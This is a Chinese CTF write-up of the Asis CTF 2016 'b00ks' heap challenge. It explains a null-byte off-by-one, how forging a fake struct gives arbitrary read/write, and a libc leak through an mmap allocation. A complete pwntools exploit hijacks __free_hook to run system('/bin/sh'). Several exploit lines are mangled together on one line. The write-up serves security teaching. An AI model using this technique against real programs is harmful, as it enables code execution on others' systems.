Asis CTF 2016 b00ks

  • 1.题目获取
  • 2.查保护
  • 3.分析程序
  • 4.地址泄露
    • 泄露地址
    • 修改地址
  • 5.伪造结构体
  • 6.实现利用

1.题目获取

题目下载地址:点此下载

2.查保护

3.分析程序

IDA载入,查看main函数

这个函数读取一个名字,最长32个字节。

作者名被读到data段

sub_A89()打印程序功能,并获取用户输入的序号

sub_F55()的功能是添加书籍信息,在这个函数中可以分析到存储这些数据的结构体。

我们可以看到这里的v4是存放在off_202010+v3处,其他的参数又存在v4中。

从这里我们可以得知v2是description的长度,v6是description,ptr是书名;unk_202024没有找到相关的,需要动态调试,但是现在关键问题是如何定位v4这个结构体,我们可以发现v4是放在off_202010 + v3处,off_202010在我们的作者名存放处off_202018前面。所以可以通过搜索字符串定位。

定位到作者名在0x555555756040处

第一个红框框的是作者名,第二个红框中的值应该就是v4那个结构体了。

*((_DWORD *)v4 + 6) = v2;
*((_QWORD *)off_202010 + v3) = v4;
*((_QWORD *)v4 + 2) = v6;
*((_QWORD *)v4 + 1) = ptr;
*(_DWORD *)v4 = ++unk_202024;


猜测unk_202024是书的id,unk_202024指向bss段,这个地址应该是被初始化为0,然后这里++,所以第一个书的id为1;
ptr是书名;v6是description;v2是description的长度;
之前我看一位大佬写的wp,他提出了个疑问,我正好遇到,就写下;大佬在文章中写道

这里有一点疑问,为什么存的时候是*((_DWORD *)v4 + 6) = v2;而真正的内存里面却是把0x0000000000000014放到了+3处。

这里需要注意v4前面的_DWORD和_QWORD;_DWORD代表4字节,_QWORD代表8个字节;
*((_DWORD *)v4 + 6) = v2;前面是_DWORD,四个字节

至此,程序中的结构体分析完毕。

4.地址泄露


程序编写的获取用户输入函数存在 null byte off-by-one 漏洞,仔细观察这个获取用户输入函数可以发现对于边界的考虑是不当的。

第一个红框框的是作者名,第二个红框是v4那个结构体;获取用户输入函数对于边界的考虑是不当的,造成越界,会把字符串截断字符\x00越界写入到0x555555756060处,当我们使用程序添加书籍的功能的时候会把book1结构体的指针写到0x555555756060处,会覆盖\x00这个截断符,当我们打印作者名的时候可以泄露出book1结构体位置的指针。也可以二次修改作者名,把0x555555756060处再次覆盖为\x00,这样会修改程序的book1结构体位置的指针的值。

泄露地址


修改地址


第一个字节被覆盖为\x00。

5.伪造结构体

重新调试

假设二次修改作者名,book1结构体位置的指针的第一个字节覆盖为\x00时0x000055f1b68cf300这个地址正好在book1的description处,description在0x000055f1b68cf2a0处,0x000055f1b68cf300正好在description的后面,description距离被覆盖第一个字节的book1的指针0x60个字节。


因此我们可以在book1的description中伪造一个结构体
payload为

book2_addr = book1_addr + 384
payload = 0x60 * 'a' + p64(1) + p64(book2_addr) * 2 + p64(0xffff)

book2_addr的地址是通过以下方式计算得出

0x000055f1b68cf520 - 0x000055f1b68cf3b0 = 368
368个padding指向book2的id想要指向book2的description还需要加
16
等于384
在book1的description中伪造好结构体后,就可以修改作者名,把book1的地址的最低字节覆盖为0
然后现在book1的description指向了book2的description,所以现在我们可以通过先修改book1的description的值为我们想修改的地址,然后通过book2的description修改或读取这个地址的值。
此时我们已经可以控制程序进行任意地址读写了。

6.实现利用

前面我们已经获得了任意地址读写的能力,这道题在申请description空间的时候没有限制大小,使用一个很大的尺寸,使得堆以 mmap 模式进行拓展。堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。
在这里我们申请一个超大的块,来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。

In [8]: hex(0x00007ff9ea160010 - 0x00007ff9e9b82000)
Out[8]: '0x5de010'

得到offset = 0x5de010,打印所以书籍信息,获取book2_des的地址,然后拿book2_des的地址减去偏移得到libc_base

实在不想写了,直接上EXP,看代码解释

# -*- coding: utf-8 -*-
# @Author: 夏了茶糜
# @Date:   2020-03-20 20:31:43
# @email: sxin0807@qq.com
# @Last Modified by:   夏了茶糜
# @Last Modified time: 2020-03-21 13:43:55from pwn import *
context(arch="amd64",os="linux",log_level="debug")
def name_1(p):p.recvuntil("Enter author name: ")p.sendline("a" * 0x20)
def change_name(p):p.recvuntil("> ")p.sendline("5")p.recvuntil("Enter author name: ")p.sendline("a" * 0x20)def create_book(p,size,name,size_des,desc):p.recvuntil("> ")p.sendline("1")p.recvuntil("Enter book name size: ")p.sendline(str(size))p.recvuntil("Enter book name (Max 32 chars): ")p.sendline(str(name))p.recvuntil("Enter book description size: ")p.sendline(str(size_des))p.recvuntil("Enter book description: ")p.sendline(str(desc))
def change_des(p,id,des):p.recvuntil("> ")p.sendline("3")p.recvuntil("Enter the book id you want to edit: ")p.sendline(str(id))p.recv()p.sendline(str(des))def print_book(p):p.recvuntil("> ")p.sendline("4")def delete(p):p.recvuntil("> ")p.sendline("2")p.recvuntil("Enter the book id you want to delete: ")p.sendline("2")p = process("./b00ks")
libc = ELF("./libc.so.6")
name_1(p)
create_book(p,0x20,"aaaa",0x100,"bbbb")create_book(p,0x21000,"cccc",0x21000,"dddd")
print_book(p)
p.recvuntil("a" * 0x20)
book1_addr = u64(p.recv(6).ljust(8,"\x00"))
print(hex(book1_addr))
#这里的0x38是用book2_name的地址减去book1结构体指针
#这里的0x40是用book2_des的地址减去book1结构体指针
book2_name = book1_addr + 0x38
book2_des = book1_addr + 0x40
payload = 0x60 * 'a' + p64(1) + p64(book2_des) + p64(book2_name) + p64(0xffff)
#这里的payload中伪造的book1的结构体中的name和des是book2_des和book2_name,
#至于为什么book2_des的指针放在book1_name处,而book2_name的指针放在book1_des处,
#这是因为我们后面需要通过修改book1_des,来控制book2结构体中的name和des。
change_des(p,1,payload)
change_name(p)
print_book(p)p.recvuntil("Name: ")
book2_des = u64(p.recv(6).ljust(8,"\x00"))
p.recvuntil("Description: ")
book2_name = u64(p.recv(6).ljust(8,"\x00"))log.success("book2_name:" + hex(book2_name))
log.success("book2_des:" + hex(book2_des))
#gdb.attach(p)
libc_base = book2_name - 0x5de010

这里的0x5de010各个人的电脑环境不同,需要重新计算
0x5de010是通过book2_name的指针减去libc在内存中的地址

In [23]: hex(0x7f791baa8010 - 0x00007f791b4ca000)
Out[23]: '0x5de010'

接下来就是获取相关指针,得到bin_sh,system,free_hook
通过b00k1修改b00k2的name的指针为bin_sh,description的指针为__free_hook, 再修改b00k2的description内容为system_addr(由于__free_hook里面的内容不为NULL, 遂执行内容指向的指令),此时当我们调用delete师傅2=book2的时候程序会先释放book2中的name,由于__free_hook现在指向system,所以free(bin__sh_addr)会,相当于system("/bin/sh")

关于这里的__free_hook劫持,可以看这个大佬的博客:传送门

bin_sh = libc.search("/bin/sh").next() + libc_base
system_addr = libc.symbols["system"] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_baselog.success("libc_base:" + hex(libc_base))
log.success("bin_sh:" + hex(bin_sh))
log.success("system_addr:" + hex(system_addr))
log.success("free_hook:" + hex(free_hook))payload = p64(bin_sh) + p64(free_hook)
change_des(p,1,payload)payload = p64(system_addr)
change_des(p,2,payload)
delete(p)
#gdb.attach(p)
p.interactive()

最后放一个成功的截图

Asis CTF 2016 b00ks(堆溢出NULL byte off-by-one)相关推荐

  1. linux 堆溢出 pwn 指南,新手科普 | CTF PWN堆溢出总结

    学习汇总 序言 自从加入RTIS交流群, 在7o8v师傅,gd大佬的帮助下,PWN学习之路进入加速度.下面是八周学习的总结,基本上是按照how2heap路线走的.由于八周内容全写,篇幅太长,这里只讲述 ...

  2. c++算术溢出_二进制安全之堆溢出(系列)——CTF环境配置

    [重要通知]知了堂禁卫实验室全新上线!! 这里有安全体系的学习资源. 最前沿的原创文章.最新的漏洞挖掘原创!! 本期是"二进制安全之堆溢出"系列第一期,主要介绍CTF环境配置.安装 ...

  3. 写代码实现堆溢出、栈溢出、永久代溢出、直接内存溢出

    栈溢出(StackOverflowError) 堆溢出(OutOfMemoryError:Java heap space) 永久代溢出(OutOfMemoryError: PermGen space) ...

  4. CTF pwn题堆入门 -- Unsorted bin

    Unsorted bin 序言 概述 攻击方式 unlink 释放Chunk到Unsorted bin House of Orange House of einherjar Unsorted bin ...

  5. 堆溢出-House of orange 学习笔记(看雪论坛)

    https://www.jianshu.com/p/4b0a73f321f9 前几天把House of orange重新学习了一下,比照着glibc malloc的源码好好分析了一下,希望做到真正做到 ...

  6. 【pwn学习】堆溢出(三)- Unlink和UAF

    前置学习 [pwn学习]堆溢出(一) [pwn学习]堆溢出(二)- First Fit 文章目录 什么是Unlink? Unlink如何利用? 加入错误检查 什么是Use-After-free? 例题 ...

  7. [漏洞分析] CVE-2021-42008 6pack协议堆溢出内核提权

    CVE-2021-42008 6pack协议 文章目录 CVE-2021-42008 6pack协议 漏洞简介 环境搭建 漏洞原理 漏洞发生点 poc GCC优化 漏洞利用 计算越界偏移 直接胜利方程 ...

  8. CVE-2012-1876 Internet Exporter堆溢出漏洞分析

    文章目录 漏洞描述 IE浏览器组件介绍 分析环境 POC 漏洞分析 漏洞利用 参考资料 漏洞描述 该IE浏览器漏洞的成因在mshtml.dll这个模块的CTableLayout::CalculateM ...

  9. 分析|CVE-2021-3156-sudo堆溢出高危漏洞

    编辑前言 Qualys的安全研究人员于1月13日发文称,攻击者无需知道用户密码即可成功利用此漏洞,在众多基于 Linux 的发行版本中获得最高的 root 权限.受影响的 Sudo 漏洞版本包括从 1 ...

  10. malloc 结构体_二进制安全之堆溢出(系列)——堆基础 amp; 结构(二)

    哈喽啊 这里是二进制安全之堆溢出(系列)第二期"堆基础 & 结构"第二节!! 话不多说,直接上干货! 微观结构 函数执行流程 void *malloc (size_t by ...

最新文章

  1. 实现Qt日志功能并输出到文件
  2. wxWidgets:wxLogNull类用法
  3. WampServer的研究日记二
  4. java中使用tika_Tika基本使用
  5. Ubuntu vi命令
  6. Panoptic FPN-Panoptic Feature Pyramid Networks用于全景分割的特征金字塔网络
  7. 关联查询objectid_SAP 删除的BOM如何查询呢?
  8. 另一种阶乘 函数法!
  9. java坦克代码_Java坦克大战源代码
  10. c语言的算法必须要有输入输出,多选题: 1、计算机算法必须具备输入、输出和________等特性...
  11. keep-alive用法(include、exclude、max)
  12. 腾讯会议使用OBS虚拟摄像头
  13. 好看的个人网站源码_新手想建个人网站,都要注意哪些关于自助建站源码的坑?...
  14. 重装win10之后谷歌chrome浏览器字体模糊的问题
  15. 学术论文写作常用词汇、句式表达
  16. C#读写Excel的4种方案(OpenXml、NPOI、EPPlus、Spire.Office)
  17. 达梦数据库标准本 企业版 安全版 数据库
  18. linux下的微博客户端,几款第三方微博客户端的比较
  19. Spark参数调优基础版
  20. 生物信息学数据库大全

热门文章

  1. 启动计算机键盘没反应,如何解决电脑开机显示屏和键盘无反应
  2. Elasticsearch分布式搜索引擎-安装到实战
  3. DSP Bootloader说明
  4. 【计算几何】求三角形外接圆的周长、面积公式
  5. 企业微信开发实战(三、OA审批之回调通知、获取审批单号、审批详情)
  6. 卤煮花生米的制作过程(高压锅版)
  7. 大物实验数据处理——用C求标准误差、标准偏差、标准偏差、相对误差
  8. 奥塔哥大学计算机科学怎样,2019QS世界大学学科排名出炉,新西兰最强专业看过来!...
  9. stm32点亮流水灯(小白的求学之路)
  10. 云计算发展趋势-华为HCIA云计算学习笔记六